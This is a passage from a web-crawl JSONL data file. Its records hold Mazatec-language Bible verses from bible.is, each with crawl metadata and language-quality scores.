1.0000065565109253}","num_words":607,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Jñà kjoa̱ ti̱nchátsioò kjo̱ndaà xi tjín ngajmiì ya̱ ñánda tíjna Cristo nga ya̱ tíjnat'aà chrja kixi̱-la̱ Nainá, koií kjoa̱-la̱ nga ya̱ jaáya-kjo-nò ko̱ Cristo, 2 Koií ti̱kítsjeèn kjit'aà mé kjoa̱ xi tjín ngajmiì, kì koií nìkítsjeèn kjoa̱ xi tjín i̱sò'nde. 3 Nga̱ jñò, jyeé k'en kjoa̱ ts'e̱ i̱sò'nde, ko̱ jè kjoa̱bijnachoòn xi̱tse̱ xi tjín-nò nga ya̱ titsa̱jnako̱ Cristo, ya̱á tíjnatjò nga nguixko̱n Nainá. 4 Jè Cristo, jè-né xi kjoa̱bijnachoòn-nò; k'e̱ nga jè xi ko̱tsejèn ìjngoò k'a, jñò, ti̱koa̱á ya̱á ko̱tsejèn-ko̱ nga jeya ki̱tsa̱jnaà. 5 Ti̱kítsa̱jna kjoa̱ ch'o xi síjé yijo jé-nò xi kjoa̱ ts'e̱ i̱sò'nde: koni jñà kjoa̱ chijngui, ko̱ kjoa̱ tjé ko̱ kjoa̱ ch'o xi sasén-la̱ yijo-nò ko̱ ngats'iì kjoa̱ ch'o xi fahajin-nò, ko̱ nga kjìn tsojmì mejèn-nò. Kjoa̱ jè ti̱jé-ne koni tsà xkósòn yaxkón. 6 Koií kjoa̱-la̱ nga kjo̱'in tsjá-la̱ Nainá jñà xi̱ta̱ xi mì kiì 'nchréñijon-la̱. 7 Jñò, tikoa̱á k'oa̱á tjín kjoa̱ xi ki'nè kjòtseé k'e̱ nga ya̱ titsa̱jnajñoò kjoa̱ xi ch'o tjín. 8 Ta̱nga i̱'ndei̱ ti̱kítsa̱jnaà yije kjoa̱ koi: jñà xi kjoa̱ jti, ko̱ jñà xi kjoa̱ ts'e̱n, ko̱ jñà kjoa̱ xi ch'o tjín, ko̱ jñà kjoa̱ xi nakjoájno-la xi̱ta̱, ko̱ jñà 'én xi ch'o tsò nga nokjoà. 9 Kì 'én ndiso nokjoàko̱o xinguio̱o nga jye kichjaàxìn-là yijo-nò kjoa̱ jchínga-nò ko̱ ngats'iì kjoa̱ xi ki'nè nga sa kjòtsjeè. 10 Jyeé kichjoé xi kjoa̱ xi̱tse̱. Jyeé jahatjìya-la̱ kjo̱hítsjeèn-nò. K'oa̱ás'ín tímaxi̱tse̱ya koni kji i̱sén-la̱ Nainá xi tsibíndaà-nò skanda kóni nga ìsa̱ ndaà jcha̱xkoòn yá-ne xi Nainá. 11 I̱'ndei̱, mì ti̱ kiì 'ñó mochjeèn-ne yá-né xi xi̱ta̱ griego o yá-né xi xi̱ta̱ judío, yá-né xi tjít'aà chi̱ba̱-la̱ o yá-né xi tsjìn-la̱ chi̱ba̱ kjoa̱ ts'e̱ circuncisión, yá-né xi xi̱ta̱ xìn nangui-la̱ ko̱ yá xi̱ta̱-ne xi i̱ma̱ tímajchá, yá-né xi chi̱'nda tíjna'ñó o yá-né xi tíjnandei̱í. Jè Cristo xi isa̱ 'ñó chjí-la̱; ko̱ jè xi tíjnajiìn ini̱ma̱-la̱ ngats'iì xi̱ta̱-la̱. 12 Jñò xi xó k'oa̱s'ín jahajiìn-nò Nainá ko̱ xi ngui xi̱ta̱ tsjeè-la̱ maà nga ndaà matsjake-nò, k'oa̱ás'ín chjoé xi kjoa̱ xi̱tse̱ nga kàtahi̱ma̱chaà xi̱ta̱; kàtas'e-nò kjo̱ndaà; kì 'nga matakon; indaàkjoa̱ t'eèn; ko̱ kata'se-la̱ kjoa̱tsejta ini̱ma̱-nò. 13 Ni̱ta̱mé kjoa̱ xi tjín-nò ti̱kjeiín-là xinguio̱o, ti̱jcha̱at'aà-là xinguio̱o tsà mé kjoa̱ xi ch'o síko̱-nò. Jñò, k'oa̱á tis'ín t'e̱en, koni s'ín kisìko̱-nò Cristo nga kisìjchahat'aà-nò. 14 Jè xi tíjna ítjòn ts'e̱ kjoa̱ koi, jè-né nga ti̱tsjachaà xinguio̱o, nga jè kjoa̱tjòchaà xi ndaà síkítsa̱jnatín-ná. 15 Kjoa̱'nchán-la̱ Cristo ndaà kàtatíxoma i̱jiìn ini̱ma̱-nò; nga̱ Nainá xó k'oa̱ás'ín kiìchja̱-nò nga 'nchán ki̱tsa̱jnako̱o xinguio̱o mé-ne nga ta jngoò yijo ko̱ma-nò. Ko̱ mochjeèn-né nga kjit'aà na̱chrjein tjiì-là kjo̱ndaà Nainá. 16 Jè 'én-la̱ Cristo 'ñó ndaà kàtasijiìn kjit'aà ya̱ i̱jiìn ini̱ma̱-nò. Ta̱kóya-là xinguio̱o ko̱ tikixi̱ya nga ti̱kjeèn kjo̱hítsjeèn xi tjín-la̱ kjoa̱chji̱ne̱. Ti̱jndá-là Nainá nga tjiì-là kjo̱ndaà xi tíjiìn ini̱ma̱-nò; ti̱jndá-là so ts'e̱ salmo, ko̱ so xi jeya síkíjna Nainá, ko̱ so xi ya̱ nchrobá-ne ya̱ i̱jiìn ini̱ma̱-nò. 17 Ngats'iì 'én xi nokjoà ko̱ ngats'iì xá xi 'nè, i̱t'aà ts'e̱ Jesucristo xi otíxoma-ná koa̱'teèn. Ko̱ i̱t'aà ts'e̱ Jesucristo tjiì-là kjo̱ndaà Nainá xi Na̱'èn-ná. 18 Jñò íchjín xi x'i̱n tjín-nò, nangui titsa̱jna-là x'i̱n-nò koni s'ín ok'ín-la̱ jñà xi̱ta̱-la̱ Cristo. 19 Jñò xi íchjín tjín-nò, tjòchaà jchaà íchjín-nò, kì toòn 'yaà. 20 Jñò xi i̱xti 'mì-nò, ndaà ti̱ná'yañijòn-là xi̱ta̱ jchínga-nò, nga jè Nainá ndaà sasén-la̱ kjoa̱ koi. 21 Jñò xi Na̱'èn 'mì-nò, kì ta̱xki̱ siì nokjoá-ko̱ i̱xti-nò mé-ne nga mì siìkjaàjeèn-la̱ ikon. 22 Jñò xi chi̱'nda maà, ndaà ti̱kitasòn yije-là nei-nò i̱ i̱t'aà nangui; kì tà k'e̱é nìxá k'e̱ nga tíkotsejèn-nò nga ta jè xi mejèn-nò nga ndaà ki̱tsa̱jnako̱o. Ngui ko̱ó ini̱ma̱-nò nga ti̱kitasòn-là k'oií kjoa̱-la̱ nga yaxkón Nainá. 23 Ni̱ta̱mé kjoa̱ xi s'e̱èn, nguiì ko̱ó ini̱ma̱-nò nga t'eèn koni tsà i̱t'aà ts'e̱ Na̱'èn-ná titsa̱nìkitasòn ko̱ mìtsà i̱t'aà ts'e̱ xi taxki̱ xi̱ta̱. 24 Jyeé 'yaà nga jè Na̱'èn-ná Jesucristo tsjá-nò chjí-nò nga tjoé-nò jè kjo̱tjò xi tsjá-nò Nainá nga i̱xti-la̱ maà koi kjoa̱-la̱ nga jè titsa̱nixát'aà-là Jesucristo xi otíxoma-nò. 25 Ta̱nga jè xi ch'o tjín kjoa̱ xi s'ín, k'oa̱á s'ín ko̱chjí-la̱ koni tjín kjoa̱ ch'o xi s'ín. Nainá mìtsà fahájiìn xi̱ta̱, ngásòn ngáya fìko̱ ngats'iì.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Col\/3","date":"2013-05-25T16:58:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705976722\/warc\/CC-MAIN-20130516120616-00066-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":624,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Pedro 2:5\n5 Nainá, ti̱koa̱á mì kiì kisìjchahat'aà-la̱ i̱sò'nde xi kisijna kjòtseé; kisìkasén jtsí xkón xi kisìkjehi̱sòn yije xi̱ta̱ xi kis'e na̱chrjein koi. Tà jè Noé kijchahat'aà-la̱, koi kjoa̱-la̱ nga 'én kixi̱ kiìchja̱yajiìn-la̱ xi̱ta̱, ko̱ itoò xi̱ta̱ xíkjín tsiningui-ne.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/5","date":"2013-05-20T15:57:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699068791\/warc\/CC-MAIN-20130516101108-00088-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9973624945,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.997362494468689}","num_words":56,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 10:9\n9 Tsà ntso'boi kénojmí-ne nga Jesucristo, jè xi Na̱'èn-ná, koa̱ tsà ko̱ ini̱ma̱-lè ko̱kjeiín-lè nga Nainá kisìkjáya-la̱ i̱t'aà ts'e̱ kjoa̱biyaà, kijna'ndei̱í-né xi kjoa̱ ts'e̱ jé-lè.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/10\/9","date":"2013-05-23T01:45:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702730377\/warc\/CC-MAIN-20130516111210-00070-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.997407198,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9974071979522705}","num_words":44,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 13:4\n4 Ngats'iì xi̱ta̱ kijtseèxkón jè ye̱, nga jè ye̱ kitsjaà-la̱ kjo̱tíxoma xi tísíkjeén jè cho̱ ts'e̱n. Jñà xi̱ta̱ tikoa̱á kijtseèxkón jè cho̱ je xi ch'o kji. I̱kjoàn kitsò: —Tsjìn ìjngo ìsa̱ koni jè cho̱ je xi ch'o kji; mì yá tjín xi ki̱chìkjoa̱-la̱ nga skaànko̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13\/4","date":"2013-05-21T19:31:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700477029\/warc\/CC-MAIN-20130516103437-00089-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9995048046,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999504804611206}","num_words":64,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.266,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 9:14\n14 Jesús k'e̱ nga ijchò-ne ñánda títsa̱jna xi̱ta̱ xi kota'yàt'aà-la̱ xi i'nga, kitseè nga kjìn jchán ma xi̱ta̱ xi títsa̱jna. Ya̱á títsa̱jnajiìn i'nga xi̱ta̱ xi okóya kjo̱tíxoma-la̱ Nainá xi kiskiì Moisés, 'ñó nchijoóya-ne.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/14","date":"2013-05-26T05:48:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706631378\/warc\/CC-MAIN-20130516121711-00057-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9985024929,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9985024929046631}","num_words":53,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corintios 8:5\n5 Jñà xi̱ta̱, k'oa̱ás'ín síkítsjeèn nga kjìn ma nainá xi tjín ján ngajmiì ko̱ i̱t'aà nangui, (kixi̱í kjoa̱ i̱t'aà ts'e̱ xi̱ta̱ koi, kjìn ma xi nainá ko̱ na̱'èn-ná tsò-la̱).\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8\/5","date":"2013-05-19T06:20:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383508\/warc\/CC-MAIN-20130516092623-00022-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9982616305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9982616305351257}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Lucas 7:37\n37 Ya̱ na̱xa̱ndá jè, tíjna jngoò chjo̱ón xi tse jé tjín-la̱. K'e̱ nga kiì'nchré nga ya̱ tíjnat'aà ími̱xa̱ Jesús, ya̱ ni'ya-la̱ jè xi̱ta̱ fariseo, ijchò-ko̱ jngoò chi̱tsín xi tjíya-la̱ xkiì xi ndaà jne̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/7\/37","date":"2013-06-19T02:22:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707439689\/warc\/CC-MAIN-20130516123039-00058-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9981685281,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9981685280799866}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 24:33\n33 K'oa̱á ti̱ s'ín tjín, k'e̱ nga jch'a̱a nga k'oa̱ s'ín tíma kjoa̱ koi, kàtasijiìn-nò nga 'an xi Ki'ndí-la̱ Xi̱ta̱ xan-la̱ yijo-na̱ jyeé ni̱to̱n kjoia̱à, k'oa̱á ngaya̱-la̱ koni tsà jye tijna chrañà xòhotjoa̱-la̱ ni'ya.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/24\/33","date":"2013-05-25T17:33:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706009988\/warc\/CC-MAIN-20130516120649-00036-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9979200959,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9979200959205627}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 13:18\n18 I̱íjndé mochjeén kjoa̱chji̱ne̱-la̱ xi̱ta̱; jè xi ndaà mochi̱ya-la̱, kàtíxke̱ya número-la̱ cho̱ je xi ch'o kji; ts'e̱ xi̱ta̱-né. Jè número: joòn sindo̱ ko̱ jàn kaàn ko̱ joòn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13\/18","date":"2013-05-23T01:17:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702718570\/warc\/CC-MAIN-20130516111158-00046-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9922779202,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9922779202461243}","num_words":46,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 24:36\n36 'Ta̱nga k'e̱ nga o̱ko̱ma, mì yá xi tíjiìn-la̱ mé na̱chrjein-ne ko̱ mé hora-ne; ni̱ jñà àkja̱le̱ xi tjín ngajmiì, ko̱ ni̱ jè Ki'ndí-la̱ Nainá tíjiìn-la̱; ta̱jngoò Nainá xi Na̱'èn-ná tíjiìn-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/24\/36","date":"2013-05-20T16:34:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699113041\/warc\/CC-MAIN-20130516101153-00039-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9946510792,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9946510791778564}","num_words":51,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.235,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 5:47\n47 Tsà tà jñà xi̱ta̱ xinguio̱o xi 'ntsè chiba si̱xat'aà, ¿a k'oa̱á ma-nò nga 'ñó ndaà titsa̱'nè?; nga ti̱koa̱á jñà xi̱ta̱ xi mì kiì beèxkon Nainá, k'oa̱á tis'ín.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5\/47","date":"2013-05-22T18:50:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702298845\/warc\/CC-MAIN-20130516110458-00062-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9994162321,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9994162321090698}","num_words":48,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Tesalonicenses 5:6\n6 K'oa̱á ma-ne nga mì kiì k'oa̱ s'e̱én koni s'ín xi̱ta̱ xi kj'ei̱í nga mì titsa̱jnandaà-jèn mé kjoa̱ xi tjín k'oa̱á ngaya-la̱ koni tsa kjiyijofè. Mochjeén-né nga ki̱tsa̱jnandaá koni jngoò xi̱ta̱ xi tíjnakon, xi nguiì nda tjín ikon.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/5\/6","date":"2013-05-19T15:19:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697745221\/warc\/CC-MAIN-20130516094905-00031-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9968187213,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9968187212944031}","num_words":57,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 5:45\n45 Tsà k'oa̱s'ín s'e̱én, ki'ndí-la̱ Nainá xi tíjna ngajmiì ko̱ma; Nainá síhi̱seèn-la̱ ndobá-la̱ ts'oí xi̱ta̱ xi ndaà ko̱ xi mì kì ndaà; ti̱koa̱á Nainá sík'a-la̱ jtsí jñà xi̱ta̱ kixi̱ ko̱ xi mìtsà xi̱ta̱ kixi̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5\/45","date":"2013-06-20T12:15:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368711605892\/warc\/CC-MAIN-20130516134005-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9993987083,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9993987083435059}","num_words":54,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.259,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 2:4\n4 Nga mì kiì komà kitjoò'nde-la̱ nga jahas'en ya̱ xohotjoa̱ ni'ya, nga 'ñó kjìn xi̱ta̱ títsa̱jna, ya̱á kiskíx'a̱ i̱tsjá ni'ya ya̱ kixi̱-la̱ ñánda tíjna Jesús. Ya̱á kiskinìjen-ne jè xi̱ta̱ xi xk'én xi kjiya-la̱ yá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/2\/4","date":"2013-05-25T03:14:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705352205\/warc\/CC-MAIN-20130516115552-00091-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9988543987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.998854398727417}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 9:25\n25 Jesús k'e̱ nga kijtseè nga tíma kjìn xi̱ta̱ tsohótiko̱ jè ini̱ma̱ ch'o-la̱ nei̱í; kitsò-la̱: —Ngaji̱, ini̱ma̱ ch'o-la̱ nei̱í xi mì kiì ma-le nokjoì ko̱ mì kiì na'yì, an, k'oa̱á xan-lè, titjo̱jiìn ini̱ma̱-la̱ ti jè; kì ti ya̱á bitjaàs'e̱èn-jiìn-ne ini̱ma̱-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/25","date":"2013-05-25T21:05:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706413448\/warc\/CC-MAIN-20130516121333-00089-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9994018078,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9994018077850342}","num_words":60,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Jñò xi i̱xti 'mì-nò, ti̱ná'yañijon-là xi̱ta̱ jchínga-nò nga Cristo titsa̱jnako̱o. Koií kjoa̱ xi kixi̱ tjín. 2 Nga̱ tsò jè Xo̱jo̱n-la̱ Nainá:\"Jcha̱xkoín na̱'èn-lè ko̱ nea̱-lè, mé-nè nga ndaà kijna-ne koa̱ tseé ko̱ma-lè i̱ i̱sò'nde.\" Ngats'iì kjo̱tíxoma xi kitsjaà Nainá, jè jè xi tsjá ítjòn jngo-la̱ kjo̱ndaà jñà xi̱ta̱ xi síkitasòn. 4 Jñò xi na̱'èn 'mì-nò, kiì i̱xti-nò nìjti-là; k'oa̱á s'ín ti̱jchá nga ndaà ti̱kixio̱o koa̱ ndaà ta̱kóya-là koni s'ín mejèn-la̱ Na̱'èn-ná. 5 Jñò xi chi̱'nda maà, ndaà ti̱kitasòn-là xi nei-nò ma i̱ i̱t'aà nangui; ndaà jcha̱xkón nga tíjngoò takòn koni tsà xá ts'e̱ Cristo titsa̱'nè. 6 Ndaà ti̱xá-là nei-nò; mì tà k'e̱é ndaà nìxá k'e̱ nga tímakinda̱ nga tà jè nei-nò ndaà ki̱tsa̱jnako̱o; k'oa̱á s'ín t'e̱en koni tsà chi̱'nda-la̱ Cristo maà nga nguì ko̱ó ini̱ma̱-nò ti̱xá koni s'ín mejèn-la̱ Nainá. 7 K'oa̱á s'ín ti̱xá nga nguiì ko̱ kjo̱tsja-nò koni tsà xá-la̱ Na'èn-ná titsa̱'nè ko̱ mì tsà ts'e̱ xi ta̱xki̱ xi̱ta̱. 8 Ndaà 'yaà nga jngoò ìjngoò xi̱ta̱, Nainá, k'oa̱á s'ín tsjá-la̱ chjí-la̱ koni tjín xá xi s'ín, na̱s'ín xi̱ta̱ chi̱'nda ko̱ xi mì tsà xi̱ta̱ chi̱'nda. 9 Jñò xi nei-la̱ xá 'mì-nò, k'oa̱á ti̱ s'ín tjò t'e̱en chi̱'nda-nò. Kì taxki̱ chitiko̱o chi̱'nda-nò nga mejèn-nò kjo̱'in bìnè-là. Ndaà tíjiìn-nò nga jè Nei-la̱ xi̱ta̱ chi̱'nda-nò ko̱ jè Nei-nò, ti̱jé-ne xi tíjna ján ngajmiì. Nga jè, mì kiì faájiìn xi̱ta̱; tà ngásòn fìko̱. 10 Jñò 'ntsè, jñà kjoa̱ koi xi fehit'aà-ne; k'oa̱á xán-nò: Ti̱nchátsjioò nga'ñó ts'e̱ ini̱ma̱-nò i̱t'aà ts'e̱ Na̱'èn-ná Jesucristo; 'ñó ti̱tsa̱jnako̱o ngats'iì nga'ñó xi 'ñó tsee tjín-la̱ Cristo. 11 Ti̱si̱ko̱ó yijo-nò, chjoé yije nga'ñó xi tsjá-nò Nainá mé-nè nga tájaà titsa̱jna-nò nga mì jè xi̱ta̱ nei̱í skòna̱cha̱n-nò. K'oa̱á ngaya-la̱ koni jñà soldado nga 'ya yije ki̱cha̱-la̱ k'e̱ nga fì kjo̱jchán. 12 Nga mìtsà jñà xi̱ta̱ i̱sò'nde titsa̱bixkánkoa̱á. Jñà ko̱ndra̱-ná xi xi̱ta̱xá ítjòn tjín-la̱ i̱jiìn iseèn, jñà xi mì kiì tsejèn, ngats'iì xi tjín-la̱ kjo̱tíxoma ts'e̱ xi̱ta̱ nei̱í, koa̱ xi sko̱-la̱ titsa̱jna nga jñà otíxoma i̱sò'nde jñò, ngats'iì nga'ñó-la̱ xi̱ta̱ nei̱í xi tjíma i̱jiìn i̱sén nga tíjtsa i̱sò'nde. 13 Koií ko̱xan-nò, chjoé yije nga'ñó xi tsjá-nò Nainá mé-nè nga 'ñó ki̱tsa̱jna-nò jè na̱chrjein k'e̱ nga mejèn-la̱ skóna̱cha̱n-nò xi̱ta̱ nei̱í. K'e̱ nga jye si̱kijneè, tákó k'oa̱á s'ín kixi̱ ki̱nchà-là ni̱ta̱ mé kjoa̱-ne. 14 K'oa̱á s'ín 'ñó ki̱xi̱ ti̱tsa̱jnandaà; nguiì 'én kixi̱ ti̱nókjoa̱à mé-ne nga ki̱tsa̱jnandaà kjoa̱ ts'e̱ xi̱ta̱ nei̱í koni s'ín jñà soldado nga 'ñó bíkjá xincho̱-la̱ [mé-ne nga mì si̱ìjti-la̱ nikje-la̱ k'e̱ fì kjo̱jchán.] Ko̱ nguiì kixi̱ titsa̱jnaá nga nguixko̱n Nainá mé-ne nga ndaà kójtsa ini̱ma̱-nò koni jngoò soldado xi ndaà kijtsa ini̱ma̱-la̱ jè chrjoa̱ xi 'mì coraza. 15 Kjit'aà na̱chrjein titsa̱jnandaà nga si̱ka'bió 'én ndaà-la̱ Nainá mé-ne nga kata'se-la̱ kjoa̱'nchán jñà xi̱ta̱. K'e̱ nga ko̱s'ín s'eèn, 'ñó ki̱tsa̱jnaà koni jngoò soldado nga tjín-la̱ nga'ñó xoxté-la̱ nga ma fì. 16 K'e̱ nga ndaà mokjeiín-nò i̱t'aà ts'e̱ Nainá, jè ko̱si̱ko̱-nò xi kjoa̱ ts'e̱ xi̱ta̱ nei̱í k'e̱ nga jè bítin-nò nga binchaàtsjioò jé; 